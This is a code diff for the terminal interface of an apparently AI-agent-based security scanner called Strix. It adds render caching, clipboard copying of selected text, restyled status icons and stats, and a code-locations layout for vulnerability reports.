show_splash: reactive[bool] = reactive(default=True)
|
show_splash: reactive[bool] = reactive(default=True)
|
||||||
@@ -691,6 +714,9 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
self._displayed_agents: set[str] = set()
|
self._displayed_agents: set[str] = set()
|
||||||
self._displayed_events: list[str] = []
|
self._displayed_events: list[str] = []
|
||||||
|
|
||||||
|
self._streaming_render_cache: dict[str, tuple[int, Any]] = {}
|
||||||
|
self._last_streaming_len: dict[str, int] = {}
|
||||||
|
|
||||||
self._scan_thread: threading.Thread | None = None
|
self._scan_thread: threading.Thread | None = None
|
||||||
self._scan_stop_event = threading.Event()
|
self._scan_stop_event = threading.Event()
|
||||||
self._scan_completed = threading.Event()
|
self._scan_completed = threading.Event()
|
||||||
@@ -735,7 +761,10 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
|
|
||||||
def _setup_cleanup_handlers(self) -> None:
|
def _setup_cleanup_handlers(self) -> None:
|
||||||
def cleanup_on_exit() -> None:
|
def cleanup_on_exit() -> None:
|
||||||
|
from strix.runtime import cleanup_runtime
|
||||||
|
|
||||||
self.tracer.cleanup()
|
self.tracer.cleanup()
|
||||||
|
cleanup_runtime()
|
||||||
|
|
||||||
def signal_handler(_signum: int, _frame: Any) -> None:
|
def signal_handler(_signum: int, _frame: Any) -> None:
|
||||||
self.tracer.cleanup()
|
self.tracer.cleanup()
|
||||||
@@ -773,13 +802,16 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
chat_history.can_focus = True
|
chat_history.can_focus = True
|
||||||
|
|
||||||
status_text = Static("", id="status_text")
|
status_text = Static("", id="status_text")
|
||||||
|
status_text.ALLOW_SELECT = False
|
||||||
keymap_indicator = Static("", id="keymap_indicator")
|
keymap_indicator = Static("", id="keymap_indicator")
|
||||||
|
keymap_indicator.ALLOW_SELECT = False
|
||||||
|
|
||||||
agent_status_display = Horizontal(
|
agent_status_display = Horizontal(
|
||||||
status_text, keymap_indicator, id="agent_status_display", classes="hidden"
|
status_text, keymap_indicator, id="agent_status_display", classes="hidden"
|
||||||
)
|
)
|
||||||
|
|
||||||
chat_prompt = Static("> ", id="chat_prompt")
|
chat_prompt = Static("> ", id="chat_prompt")
|
||||||
|
chat_prompt.ALLOW_SELECT = False
|
||||||
chat_input = ChatTextArea(
|
chat_input = ChatTextArea(
|
||||||
"",
|
"",
|
||||||
id="chat_input",
|
id="chat_input",
|
||||||
@@ -788,7 +820,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
chat_input.set_app_reference(self)
|
chat_input.set_app_reference(self)
|
||||||
chat_input_container = Horizontal(chat_prompt, chat_input, id="chat_input_container")
|
chat_input_container = Horizontal(chat_prompt, chat_input, id="chat_input_container")
|
||||||
|
|
||||||
agents_tree = Tree("🤖 Active Agents", id="agents_tree")
|
agents_tree = Tree("Agents", id="agents_tree")
|
||||||
agents_tree.root.expand()
|
agents_tree.root.expand()
|
||||||
agents_tree.show_root = False
|
agents_tree.show_root = False
|
||||||
|
|
||||||
@@ -797,6 +829,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
agents_tree.guide_style = "dashed"
|
agents_tree.guide_style = "dashed"
|
||||||
|
|
||||||
stats_display = Static("", id="stats_display")
|
stats_display = Static("", id="stats_display")
|
||||||
|
stats_display.ALLOW_SELECT = False
|
||||||
|
|
||||||
vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel")
|
vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel")
|
||||||
|
|
||||||
@@ -853,7 +886,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
|
|
||||||
self._start_scan_thread()
|
self._start_scan_thread()
|
||||||
|
|
||||||
self.set_interval(0.25, self._update_ui_from_tracer)
|
self.set_interval(0.35, self._update_ui_from_tracer)
|
||||||
|
|
||||||
def _update_ui_from_tracer(self) -> None:
|
def _update_ui_from_tracer(self) -> None:
|
||||||
if self.show_splash:
|
if self.show_splash:
|
||||||
@@ -904,16 +937,16 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
status = agent_data.get("status", "running")
|
status = agent_data.get("status", "running")
|
||||||
|
|
||||||
status_indicators = {
|
status_indicators = {
|
||||||
"running": "🟢",
|
"running": "⚪",
|
||||||
"waiting": "⏸️",
|
"waiting": "⏸",
|
||||||
"completed": "✅",
|
"completed": "🟢",
|
||||||
"failed": "❌",
|
"failed": "🔴",
|
||||||
"stopped": "⏹️",
|
"stopped": "■",
|
||||||
"stopping": "⏸️",
|
"stopping": "○",
|
||||||
"llm_failed": "🔴",
|
"llm_failed": "🔴",
|
||||||
}
|
}
|
||||||
|
|
||||||
status_icon = status_indicators.get(status, "🔵")
|
status_icon = status_indicators.get(status, "○")
|
||||||
vuln_count = self._agent_vulnerability_count(agent_id)
|
vuln_count = self._agent_vulnerability_count(agent_id)
|
||||||
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
||||||
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
||||||
@@ -946,11 +979,17 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
)
|
)
|
||||||
|
|
||||||
current_event_ids = [e["id"] for e in events]
|
current_event_ids = [e["id"] for e in events]
|
||||||
|
current_streaming_len = len(streaming) if streaming else 0
|
||||||
|
last_streaming_len = self._last_streaming_len.get(self.selected_agent_id, 0)
|
||||||
|
|
||||||
if not streaming and current_event_ids == self._displayed_events:
|
if (
|
||||||
|
current_event_ids == self._displayed_events
|
||||||
|
and current_streaming_len == last_streaming_len
|
||||||
|
):
|
||||||
return None, None
|
return None, None
|
||||||
|
|
||||||
self._displayed_events = current_event_ids
|
self._displayed_events = current_event_ids
|
||||||
|
self._last_streaming_len[self.selected_agent_id] = current_streaming_len
|
||||||
return self._get_rendered_events_content(events), "chat-content"
|
return self._get_rendered_events_content(events), "chat-content"
|
||||||
|
|
||||||
def _update_chat_view(self) -> None:
|
def _update_chat_view(self) -> None:
|
||||||
@@ -989,6 +1028,33 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
text.append(message)
|
text.append(message)
|
||||||
return text, f"chat-placeholder {placeholder_class}"
|
return text, f"chat-placeholder {placeholder_class}"
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _merge_renderables(renderables: list[Any]) -> Text:
|
||||||
|
"""Merge renderables into a single Text for mouse text selection support."""
|
||||||
|
combined = Text()
|
||||||
|
for i, item in enumerate(renderables):
|
||||||
|
if i > 0:
|
||||||
|
combined.append("\n")
|
||||||
|
StrixTUIApp._append_renderable(combined, item)
|
||||||
|
return combined
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _append_renderable(combined: Text, item: Any) -> None:
|
||||||
|
"""Recursively append a renderable's text content to a combined Text."""
|
||||||
|
if isinstance(item, Text):
|
||||||
|
combined.append_text(item)
|
||||||
|
elif isinstance(item, Group):
|
||||||
|
for j, sub in enumerate(item.renderables):
|
||||||
|
if j > 0:
|
||||||
|
combined.append("\n")
|
||||||
|
StrixTUIApp._append_renderable(combined, sub)
|
||||||
|
else:
|
||||||
|
inner = getattr(item, "renderable", None)
|
||||||
|
if inner is not None:
|
||||||
|
StrixTUIApp._append_renderable(combined, inner)
|
||||||
|
else:
|
||||||
|
combined.append(str(item))
|
||||||
|
|
||||||
def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> Any:
|
def _get_rendered_events_content(self, events: list[dict[str, Any]]) -> Any:
|
||||||
renderables: list[Any] = []
|
renderables: list[Any] = []
|
||||||
|
|
||||||
@@ -1020,23 +1086,25 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
if not renderables:
|
if not renderables:
|
||||||
return Text()
|
return Text()
|
||||||
|
|
||||||
if len(renderables) == 1:
|
if len(renderables) == 1 and isinstance(renderables[0], Text):
|
||||||
return renderables[0]
|
return renderables[0]
|
||||||
|
|
||||||
return Group(*renderables)
|
return self._merge_renderables(renderables)
|
||||||
|
|
||||||
def _render_streaming_content(self, content: str) -> Any:
|
def _render_streaming_content(self, content: str, agent_id: str | None = None) -> Any:
|
||||||
from strix.interface.streaming_parser import parse_streaming_content
|
cache_key = agent_id or self.selected_agent_id or ""
|
||||||
|
content_len = len(content)
|
||||||
|
|
||||||
|
if cache_key in self._streaming_render_cache:
|
||||||
|
cached_len, cached_output = self._streaming_render_cache[cache_key]
|
||||||
|
if cached_len == content_len:
|
||||||
|
return cached_output
|
||||||
|
|
||||||
renderables: list[Any] = []
|
renderables: list[Any] = []
|
||||||
segments = parse_streaming_content(content)
|
segments = parse_streaming_content(content)
|
||||||
|
|
||||||
for segment in segments:
|
for segment in segments:
|
||||||
if segment.type == "text":
|
if segment.type == "text":
|
||||||
from strix.interface.tool_components.agent_message_renderer import (
|
|
||||||
AgentMessageRenderer,
|
|
||||||
)
|
|
||||||
|
|
||||||
text_content = AgentMessageRenderer.render_simple(segment.content)
|
text_content = AgentMessageRenderer.render_simple(segment.content)
|
||||||
if renderables:
|
if renderables:
|
||||||
renderables.append(Text(""))
|
renderables.append(Text(""))
|
||||||
@@ -1053,18 +1121,18 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
renderables.append(tool_renderable)
|
renderables.append(tool_renderable)
|
||||||
|
|
||||||
if not renderables:
|
if not renderables:
|
||||||
return Text()
|
result = Text()
|
||||||
|
elif len(renderables) == 1 and isinstance(renderables[0], Text):
|
||||||
|
result = renderables[0]
|
||||||
|
else:
|
||||||
|
result = self._merge_renderables(renderables)
|
||||||
|
|
||||||
if len(renderables) == 1:
|
self._streaming_render_cache[cache_key] = (content_len, result)
|
||||||
return renderables[0]
|
return result
|
||||||
|
|
||||||
return Group(*renderables)
|
|
||||||
|
|
||||||
def _render_streaming_tool(
|
def _render_streaming_tool(
|
||||||
self, tool_name: str, args: dict[str, str], is_complete: bool
|
self, tool_name: str, args: dict[str, str], is_complete: bool
|
||||||
) -> Any:
|
) -> Any:
|
||||||
from strix.interface.tool_components.registry import get_tool_renderer
|
|
||||||
|
|
||||||
tool_data = {
|
tool_data = {
|
||||||
"tool_name": tool_name,
|
"tool_name": tool_name,
|
||||||
"args": args,
|
"args": args,
|
||||||
@@ -1210,6 +1278,9 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
if stats_text:
|
if stats_text:
|
||||||
stats_content.append(stats_text)
|
stats_content.append(stats_text)
|
||||||
|
|
||||||
|
version = get_package_version()
|
||||||
|
stats_content.append(f"\nv{version}", style="white")
|
||||||
|
|
||||||
from rich.panel import Panel
|
from rich.panel import Panel
|
||||||
|
|
||||||
stats_panel = Panel(
|
stats_panel = Panel(
|
||||||
@@ -1395,6 +1466,8 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
return
|
return
|
||||||
|
|
||||||
self._displayed_events.clear()
|
self._displayed_events.clear()
|
||||||
|
self._streaming_render_cache.clear()
|
||||||
|
self._last_streaming_len.clear()
|
||||||
|
|
||||||
self.call_later(self._update_chat_view)
|
self.call_later(self._update_chat_view)
|
||||||
self._update_agent_status_display()
|
self._update_agent_status_display()
|
||||||
@@ -1449,15 +1522,16 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
agent_name_raw = agent_data.get("name", "Agent")
|
agent_name_raw = agent_data.get("name", "Agent")
|
||||||
|
|
||||||
status_indicators = {
|
status_indicators = {
|
||||||
"running": "🟢",
|
"running": "⚪",
|
||||||
"waiting": "🟡",
|
"waiting": "⏸",
|
||||||
"completed": "✅",
|
"completed": "🟢",
|
||||||
"failed": "❌",
|
"failed": "🔴",
|
||||||
"stopped": "⏹️",
|
"stopped": "■",
|
||||||
"stopping": "⏸️",
|
"stopping": "○",
|
||||||
|
"llm_failed": "🔴",
|
||||||
}
|
}
|
||||||
|
|
||||||
status_icon = status_indicators.get(status, "🔵")
|
status_icon = status_indicators.get(status, "○")
|
||||||
vuln_count = self._agent_vulnerability_count(agent_id)
|
vuln_count = self._agent_vulnerability_count(agent_id)
|
||||||
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
||||||
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
||||||
@@ -1523,15 +1597,16 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
status = agent_data.get("status", "running")
|
status = agent_data.get("status", "running")
|
||||||
|
|
||||||
status_indicators = {
|
status_indicators = {
|
||||||
"running": "🟢",
|
"running": "⚪",
|
||||||
"waiting": "🟡",
|
"waiting": "⏸",
|
||||||
"completed": "✅",
|
"completed": "🟢",
|
||||||
"failed": "❌",
|
"failed": "🔴",
|
||||||
"stopped": "⏹️",
|
"stopped": "■",
|
||||||
"stopping": "⏸️",
|
"stopping": "○",
|
||||||
|
"llm_failed": "🔴",
|
||||||
}
|
}
|
||||||
|
|
||||||
status_icon = status_indicators.get(status, "🔵")
|
status_icon = status_indicators.get(status, "○")
|
||||||
vuln_count = self._agent_vulnerability_count(agent_id)
|
vuln_count = self._agent_vulnerability_count(agent_id)
|
||||||
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
vuln_indicator = f" ({vuln_count})" if vuln_count > 0 else ""
|
||||||
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
agent_name = f"{status_icon} {agent_name_raw}{vuln_indicator}"
|
||||||
@@ -1589,8 +1664,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
return None
|
return None
|
||||||
|
|
||||||
if role == "user":
|
if role == "user":
|
||||||
from strix.interface.tool_components.user_message_renderer import UserMessageRenderer
|
|
||||||
|
|
||||||
return UserMessageRenderer.render_simple(content)
|
return UserMessageRenderer.render_simple(content)
|
||||||
|
|
||||||
if metadata.get("interrupted"):
|
if metadata.get("interrupted"):
|
||||||
@@ -1599,9 +1672,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
interrupted_text.append("\n")
|
interrupted_text.append("\n")
|
||||||
interrupted_text.append("⚠ ", style="yellow")
|
interrupted_text.append("⚠ ", style="yellow")
|
||||||
interrupted_text.append("Interrupted by user", style="yellow dim")
|
interrupted_text.append("Interrupted by user", style="yellow dim")
|
||||||
return Group(streaming_result, interrupted_text)
|
return self._merge_renderables([streaming_result, interrupted_text])
|
||||||
|
|
||||||
from strix.interface.tool_components.agent_message_renderer import AgentMessageRenderer
|
|
||||||
|
|
||||||
return AgentMessageRenderer.render_simple(content)
|
return AgentMessageRenderer.render_simple(content)
|
||||||
|
|
||||||
@@ -1611,8 +1682,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
status = tool_data.get("status", "unknown")
|
status = tool_data.get("status", "unknown")
|
||||||
result = tool_data.get("result")
|
result = tool_data.get("result")
|
||||||
|
|
||||||
from strix.interface.tool_components.registry import get_tool_renderer
|
|
||||||
|
|
||||||
renderer = get_tool_renderer(tool_name)
|
renderer = get_tool_renderer(tool_name)
|
||||||
|
|
||||||
if renderer:
|
if renderer:
|
||||||
@@ -1912,6 +1981,92 @@ class StrixTUIApp(App): # type: ignore[misc]
|
|||||||
sidebar.remove_class("-hidden")
|
sidebar.remove_class("-hidden")
|
||||||
chat_area.remove_class("-full-width")
|
chat_area.remove_class("-full-width")
|
||||||
|
|
||||||
|
def on_mouse_up(self, _event: events.MouseUp) -> None:
|
||||||
|
self.set_timer(0.05, self._auto_copy_selection)
|
||||||
|
|
||||||
|
_ICON_PREFIXES: ClassVar[tuple[str, ...]] = (
|
||||||
|
"🐞 ",
|
||||||
|
"🌐 ",
|
||||||
|
"📋 ",
|
||||||
|
"🧠 ",
|
||||||
|
"◆ ",
|
||||||
|
"◇ ",
|
||||||
|
"◈ ",
|
||||||
|
"→ ",
|
||||||
|
"○ ",
|
||||||
|
"● ",
|
||||||
|
"✓ ",
|
||||||
|
"✗ ",
|
||||||
|
"⚠ ",
|
||||||
|
"▍ ",
|
||||||
|
"▍",
|
||||||
|
"┃ ",
|
||||||
|
"• ",
|
||||||
|
">_ ",
|
||||||
|
"</> ",
|
||||||
|
"<~> ",
|
||||||
|
"[ ] ",
|
||||||
|
"[~] ",
|
||||||
|
"[•] ",
|
||||||
|
)
|
||||||
|
|
||||||
|
_DECORATIVE_LINES: ClassVar[frozenset[str]] = frozenset(
|
||||||
|
{
|
||||||
|
"● In progress...",
|
||||||
|
"✓ Done",
|
||||||
|
"✗ Failed",
|
||||||
|
"✗ Error",
|
||||||
|
"○ Unknown",
|
||||||
|
}
|
||||||
|
)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _clean_copied_text(text: str) -> str:
|
||||||
|
lines = text.split("\n")
|
||||||
|
cleaned: list[str] = []
|
||||||
|
for line in lines:
|
||||||
|
stripped = line.lstrip()
|
||||||
|
if stripped in StrixTUIApp._DECORATIVE_LINES:
|
||||||
|
continue
|
||||||
|
if stripped and all(c == "─" for c in stripped):
|
||||||
|
continue
|
||||||
|
out = line
|
||||||
|
for prefix in StrixTUIApp._ICON_PREFIXES:
|
||||||
|
if stripped.startswith(prefix):
|
||||||
|
leading = line[: len(line) - len(line.lstrip())]
|
||||||
|
out = leading + stripped[len(prefix) :]
|
||||||
|
break
|
||||||
|
cleaned.append(out)
|
||||||
|
return "\n".join(cleaned)
|
||||||
|
|
||||||
|
def _auto_copy_selection(self) -> None:
|
||||||
|
copied = False
|
||||||
|
|
||||||
|
try:
|
||||||
|
if self.screen.selections:
|
||||||
|
selected = self.screen.get_selected_text()
|
||||||
|
self.screen.clear_selection()
|
||||||
|
if selected and selected.strip():
|
||||||
|
cleaned = self._clean_copied_text(selected)
|
||||||
|
self.copy_to_clipboard(cleaned if cleaned.strip() else selected)
|
||||||
|
copied = True
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
logger.debug("Failed to copy screen selection", exc_info=True)
|
||||||
|
|
||||||
|
if not copied:
|
||||||
|
try:
|
||||||
|
chat_input = self.query_one("#chat_input", ChatTextArea)
|
||||||
|
selected = chat_input.selected_text
|
||||||
|
if selected and selected.strip():
|
||||||
|
self.copy_to_clipboard(selected)
|
||||||
|
chat_input.move_cursor(chat_input.cursor_location)
|
||||||
|
copied = True
|
||||||
|
except Exception: # noqa: BLE001
|
||||||
|
logger.debug("Failed to copy chat input selection", exc_info=True)
|
||||||
|
|
||||||
|
if copied:
|
||||||
|
self.notify("Copied to clipboard", timeout=2)
|
||||||
|
|
||||||
|
|
||||||
async def run_tui(args: argparse.Namespace) -> None:
|
async def run_tui(args: argparse.Namespace) -> None:
|
||||||
"""Run strix in interactive TUI mode with textual."""
|
"""Run strix in interactive TUI mode with textual."""
|
||||||
|
|||||||
@@ -1,4 +1,5 @@
|
|||||||
import ipaddress
|
import ipaddress
|
||||||
|
import json
|
||||||
import re
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import shutil
|
import shutil
|
||||||
@@ -7,7 +8,9 @@ import sys
|
|||||||
import tempfile
|
import tempfile
|
||||||
from pathlib import Path
|
from pathlib import Path
|
||||||
from typing import Any
|
from typing import Any
|
||||||
|
from urllib.error import HTTPError, URLError
|
||||||
from urllib.parse import urlparse
|
from urllib.parse import urlparse
|
||||||
|
from urllib.request import Request, urlopen
|
||||||
|
|
||||||
import docker
|
import docker
|
||||||
from docker.errors import DockerException, ImageNotFound
|
from docker.errors import DockerException, ImageNotFound
|
||||||
@@ -160,32 +163,34 @@ def format_vulnerability_report(report: dict[str, Any]) -> Text: # noqa: PLR091
|
|||||||
text.append("\n")
|
text.append("\n")
|
||||||
text.append(poc_script_code, style="dim")
|
text.append(poc_script_code, style="dim")
|
||||||
|
|
||||||
code_file = report.get("code_file")
|
code_locations = report.get("code_locations")
|
||||||
if code_file:
|
if code_locations:
|
||||||
text.append("\n\n")
|
text.append("\n\n")
|
||||||
text.append("Code File: ", style=field_style)
|
text.append("Code Locations", style=field_style)
|
||||||
text.append(code_file)
|
for i, loc in enumerate(code_locations):
|
||||||
|
text.append("\n\n")
|
||||||
code_before = report.get("code_before")
|
text.append(f" Location {i + 1}: ", style="dim")
|
||||||
if code_before:
|
text.append(loc.get("file", "unknown"), style="bold")
|
||||||
text.append("\n\n")
|
start = loc.get("start_line")
|
||||||
text.append("Code Before", style=field_style)
|
end = loc.get("end_line")
|
||||||
text.append("\n")
|
if start is not None:
|
||||||
text.append(code_before, style="dim")
|
if end and end != start:
|
||||||
|
text.append(f":{start}-{end}")
|
||||||
code_after = report.get("code_after")
|
else:
|
||||||
if code_after:
|
text.append(f":{start}")
|
||||||
text.append("\n\n")
|
if loc.get("label"):
|
||||||
text.append("Code After", style=field_style)
|
text.append(f"\n {loc['label']}", style="italic dim")
|
||||||
text.append("\n")
|
if loc.get("snippet"):
|
||||||
text.append(code_after, style="dim")
|
text.append("\n ")
|
||||||
|
text.append(loc["snippet"], style="dim")
|
||||||
code_diff = report.get("code_diff")
|
if loc.get("fix_before") or loc.get("fix_after"):
|
||||||
if code_diff:
|
text.append("\n Fix:")
|
||||||
text.append("\n\n")
|
if loc.get("fix_before"):
|
||||||
text.append("Code Diff", style=field_style)
|
text.append("\n - ", style="dim")
|
||||||
text.append("\n")
|
text.append(loc["fix_before"], style="dim")
|
||||||
text.append(code_diff, style="dim")
|
if loc.get("fix_after"):
|
||||||
|
text.append("\n + ", style="dim")
|
||||||
|
text.append(loc["fix_after"], style="dim")
|
||||||
|
|
||||||
remediation_steps = report.get("remediation_steps")
|
remediation_steps = report.get("remediation_steps")
|
||||||
if remediation_steps:
|
if remediation_steps:
|
||||||
@@ -208,7 +213,7 @@ def _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:
|
|||||||
if severity in severity_counts:
|
if severity in severity_counts:
|
||||||
severity_counts[severity] += 1
|
severity_counts[severity] += 1
|
||||||
|
|
||||||
stats_text.append("🔍 Vulnerabilities Found: ", style="bold red")
|
stats_text.append("Vulnerabilities ", style="bold red")
|
||||||
|
|
||||||
severity_parts = []
|
severity_parts = []
|
||||||
for severity in ["critical", "high", "medium", "low", "info"]:
|
for severity in ["critical", "high", "medium", "low", "info"]:
|
||||||
@@ -230,7 +235,7 @@ def _build_vulnerability_stats(stats_text: Text, tracer: Any) -> None:
|
|||||||
stats_text.append(")", style="dim white")
|
stats_text.append(")", style="dim white")
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
else:
|
else:
|
||||||
stats_text.append("🔍 Vulnerabilities Found: ", style="bold green")
|
stats_text.append("Vulnerabilities ", style="bold #22c55e")
|
||||||
stats_text.append("0", style="bold white")
|
stats_text.append("0", style="bold white")
|
||||||
stats_text.append(" (No exploitable vulnerabilities detected)", style="dim green")
|
stats_text.append(" (No exploitable vulnerabilities detected)", style="dim green")
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
@@ -240,29 +245,29 @@ def _build_llm_stats(stats_text: Text, total_stats: dict[str, Any]) -> None:
|
|||||||
"""Build LLM usage section of stats text."""
|
"""Build LLM usage section of stats text."""
|
||||||
if total_stats["requests"] > 0:
|
if total_stats["requests"] > 0:
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
stats_text.append("📥 Input Tokens: ", style="bold cyan")
|
stats_text.append("Input Tokens ", style="dim")
|
||||||
stats_text.append(format_token_count(total_stats["input_tokens"]), style="bold white")
|
stats_text.append(format_token_count(total_stats["input_tokens"]), style="white")
|
||||||
|
|
||||||
if total_stats["cached_tokens"] > 0:
|
if total_stats["cached_tokens"] > 0:
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("⚡ Cached Tokens: ", style="bold green")
|
stats_text.append("Cached Tokens ", style="dim")
|
||||||
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="bold white")
|
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="white")
|
||||||
|
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("📤 Output Tokens: ", style="bold cyan")
|
stats_text.append("Output Tokens ", style="dim")
|
||||||
stats_text.append(format_token_count(total_stats["output_tokens"]), style="bold white")
|
stats_text.append(format_token_count(total_stats["output_tokens"]), style="white")
|
||||||
|
|
||||||
if total_stats["cost"] > 0:
|
if total_stats["cost"] > 0:
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("💰 Total Cost: ", style="bold cyan")
|
stats_text.append("Cost ", style="dim")
|
||||||
stats_text.append(f"${total_stats['cost']:.4f}", style="bold yellow")
|
stats_text.append(f"${total_stats['cost']:.4f}", style="bold #fbbf24")
|
||||||
else:
|
else:
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
stats_text.append("💰 Total Cost: ", style="bold cyan")
|
stats_text.append("Cost ", style="dim")
|
||||||
stats_text.append("$0.0000 ", style="bold yellow")
|
stats_text.append("$0.0000 ", style="#fbbf24")
|
||||||
stats_text.append("• ", style="bold white")
|
stats_text.append("· ", style="dim white")
|
||||||
stats_text.append("📊 Tokens: ", style="bold cyan")
|
stats_text.append("Tokens ", style="dim")
|
||||||
stats_text.append("0", style="bold white")
|
stats_text.append("0", style="white")
|
||||||
|
|
||||||
|
|
||||||
def build_final_stats_text(tracer: Any) -> Text:
|
def build_final_stats_text(tracer: Any) -> Text:
|
||||||
@@ -276,10 +281,12 @@ def build_final_stats_text(tracer: Any) -> Text:
|
|||||||
tool_count = tracer.get_real_tool_count()
|
tool_count = tracer.get_real_tool_count()
|
||||||
agent_count = len(tracer.agents)
|
agent_count = len(tracer.agents)
|
||||||
|
|
||||||
stats_text.append("🤖 Agents Used: ", style="bold cyan")
|
stats_text.append("Agents", style="dim")
|
||||||
|
stats_text.append(" ")
|
||||||
stats_text.append(str(agent_count), style="bold white")
|
stats_text.append(str(agent_count), style="bold white")
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("🛠️ Tools Called: ", style="bold cyan")
|
stats_text.append("Tools", style="dim")
|
||||||
|
stats_text.append(" ")
|
||||||
stats_text.append(str(tool_count), style="bold white")
|
stats_text.append(str(tool_count), style="bold white")
|
||||||
|
|
||||||
llm_stats = tracer.get_total_llm_stats()
|
llm_stats = tracer.get_total_llm_stats()
|
||||||
@@ -296,15 +303,16 @@ def build_live_stats_text(tracer: Any, agent_config: dict[str, Any] | None = Non
|
|||||||
if agent_config:
|
if agent_config:
|
||||||
llm_config = agent_config["llm_config"]
|
llm_config = agent_config["llm_config"]
|
||||||
model = getattr(llm_config, "model_name", "Unknown")
|
model = getattr(llm_config, "model_name", "Unknown")
|
||||||
stats_text.append(f"🧠 Model: {model}")
|
stats_text.append("Model ", style="dim")
|
||||||
|
stats_text.append(model, style="white")
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
|
|
||||||
vuln_count = len(tracer.vulnerability_reports)
|
vuln_count = len(tracer.vulnerability_reports)
|
||||||
tool_count = tracer.get_real_tool_count()
|
tool_count = tracer.get_real_tool_count()
|
||||||
agent_count = len(tracer.agents)
|
agent_count = len(tracer.agents)
|
||||||
|
|
||||||
stats_text.append("🔍 Vulnerabilities: ", style="bold white")
|
stats_text.append("Vulnerabilities ", style="dim")
|
||||||
stats_text.append(f"{vuln_count}", style="dim white")
|
stats_text.append(f"{vuln_count}", style="white")
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
if vuln_count > 0:
|
if vuln_count > 0:
|
||||||
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
severity_counts = {"critical": 0, "high": 0, "medium": 0, "low": 0, "info": 0}
|
||||||
@@ -330,33 +338,32 @@ def build_live_stats_text(tracer: Any, agent_config: dict[str, Any] | None = Non
|
|||||||
|
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
|
|
||||||
stats_text.append("🤖 Agents: ", style="bold white")
|
stats_text.append("Agents ", style="dim")
|
||||||
stats_text.append(str(agent_count), style="dim white")
|
stats_text.append(str(agent_count), style="white")
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("🛠️ Tools: ", style="bold white")
|
stats_text.append("Tools ", style="dim")
|
||||||
stats_text.append(str(tool_count), style="dim white")
|
stats_text.append(str(tool_count), style="white")
|
||||||
|
|
||||||
llm_stats = tracer.get_total_llm_stats()
|
llm_stats = tracer.get_total_llm_stats()
|
||||||
total_stats = llm_stats["total"]
|
total_stats = llm_stats["total"]
|
||||||
|
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
|
|
||||||
stats_text.append("📥 Input: ", style="bold white")
|
stats_text.append("Input Tokens ", style="dim")
|
||||||
stats_text.append(format_token_count(total_stats["input_tokens"]), style="dim white")
|
stats_text.append(format_token_count(total_stats["input_tokens"]), style="white")
|
||||||
|
|
||||||
stats_text.append(" • ", style="dim white")
|
stats_text.append(" · ", style="dim white")
|
||||||
stats_text.append("⚡ ", style="bold white")
|
stats_text.append("Cached Tokens ", style="dim")
|
||||||
stats_text.append("Cached: ", style="bold white")
|
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="white")
|
||||||
stats_text.append(format_token_count(total_stats["cached_tokens"]), style="dim white")
|
|
||||||
|
|
||||||
stats_text.append("\n")
|
stats_text.append("\n")
|
||||||
|
|
||||||
stats_text.append("📤 Output: ", style="bold white")
|
stats_text.append("Output Tokens ", style="dim")
|
||||||
stats_text.append(format_token_count(total_stats["output_tokens"]), style="dim white")
